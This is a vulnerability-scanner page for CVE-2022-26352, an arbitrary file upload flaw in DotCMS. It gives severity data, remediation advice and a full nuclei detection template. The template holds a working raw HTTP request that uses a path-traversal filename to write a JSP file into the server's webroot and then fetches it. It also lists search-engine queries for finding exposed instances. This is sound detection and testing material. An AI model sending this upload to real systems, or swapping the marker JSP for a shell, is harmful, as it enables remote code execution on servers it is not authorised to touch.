DotCMS - Arbitrary File Upload

Exploited in the wild. Listed by CISA on 2022-08-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

91.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to fix this vulnerability.

How to confirm it

Send: POST /api/content/ ; GET /{{randstr}}.jsp
Positive when: contains(body_2, "CVE-2022-26352") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2022-26352 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-26352

info:
  name: DotCMS - Arbitrary File Upload
  author: h1ei1
  severity: critical
  description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
    - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
    - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
    - https://groups.google.com/g/dotcms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26352
    cwe-id: CWE-22
    epss-score: 0.91248
    epss-percentile: 0.99811
    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query: http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /api/content/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3

        --------------------------aadc326f7ae3eac3
        Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
        Content-Type: text/plain

        <%
        out.println("CVE-2022-26352");
        %>
        --------------------------aadc326f7ae3eac3--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "CVE-2022-26352")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from